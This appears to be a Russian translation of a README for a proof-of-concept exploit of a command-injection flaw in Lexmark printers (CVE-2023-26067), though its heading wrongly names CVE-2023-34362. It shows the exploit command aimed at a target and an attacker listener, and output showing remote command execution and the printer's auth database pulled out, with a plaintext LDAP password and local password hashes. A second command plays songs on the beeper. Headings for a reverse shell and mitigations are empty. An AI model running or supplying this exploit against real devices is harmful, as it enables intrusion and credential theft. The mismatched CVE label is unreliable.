CVE-2023-34362

POC для дампа учетных данных, реверсивных оболочек и воспроизведения музыки путем эксплуатации внедрения команд, CVE-2023-26067, затрагивающего принтеры Lexmark.

Технический анализ

Технический анализ первопричины уязвимости можно найти в нашем блоге: https://www.horizon3.ai/lexmark-command-injection-vulnerability-zdi-can-19470-pwn2own-toronto-2022

Краткое описание

Этот POC использует внедрение команд для получения оболочки от имени пользователя httpd

Дамп учетных данных службы Active Directory в открытом виде и локальных учетных данных

python3 CVE-2023-26067.py -u http://192.168.0.207 -l 192.168.0.69
[*] Sending wakeup 1
[*] Sending wakeup 2
[*] Checking if vulnerable page is accessible
[*] Vulnerable page accessible!
[*] Checking if vulnerable
[*] Sending payload to server...
[*] Listening for blind output on 0.0.0.0:443
[*] Sent payload
[+] id output: uid=985(httpd) gid=982(httpd) groups=982(httpd)
[*] Attempting to dump auth database
[*] Sending payload to server...
[*] Starting HTTP server on 8443
[*] Sent payload
[*] Waiting to pilfer database...
[+] LDAP Credentials:
svc_print:Sm0k3123!
[+] Local Credentials:
admin:$5$rounds=5287$6Y1cf0tBS3OwZuq8$pawzA66JhU/SfsSMRct99OFbaliCs.JiXuIPAYJTI/4
bob:$5$rounds=9194$bolamYfd6e11yH8H$d1XSMlK8c5UqfletJAPHvv8L1CHKBgBNufcCkWluX4C

python3 BitConductor.py -s mario Converting: mario ---------- rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 195 duration 180 offDuration 70 frequency 195 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 195 duration 180 offDuration 210 frequency 233 duration 180 offDuration 490 frequency 233 duration 180 offDuration 490 frequency 155 duration 180 offDuration 490 frequency 116 duration 180 offDuration 210 frequency 97 duration 180 offDuration 350 frequency 130 duration 180 offDuration 210 frequency 146 duration 180 offDuration 210 frequency 138 duration 180 offDuration 70 frequency 130 duration 180 offDuration 210 frequency 116 duration 180 offDuration 140 ---------- rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 195 duration 180 offDuration 70 frequency 233 duration 180 offDuration 140 frequency 261 duration 180 offDuration 210 frequency 207 duration 180 offDuration 70 frequency 233 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 174 duration 180 offDuration 70 frequency 146 duration 180 offDuration 350 frequency 155 duration 180 offDuration 350 frequency 97 duration 180 offDuration 350 frequency 130 duration 180 offDuration 210 frequency 146 duration 180 offDuration 210 frequency 138 duration 180 offDuration 70 frequency 130 duration 180 offDuration 210 ---------- rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 116 duration 180 offDuration 140 frequency 195 duration 180 offDuration 70 frequency 233 duration 180 offDuration 140 frequency 261 duration 180 offDuration 210 frequency 207 duration 180 offDuration 70 frequency 233 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 174 duration 180 offDuration 70 frequency 146 duration 180 offDuration 0

CVE-2023-26067

Популярное

Реверсивная оболочка

Воспроизведение музыки

Демонстрация

Меры по смягчению

Следуйте за командой Horizon3.ai Attack в Twitter для получения последних исследований в области безопасности:

Отказ от ответственности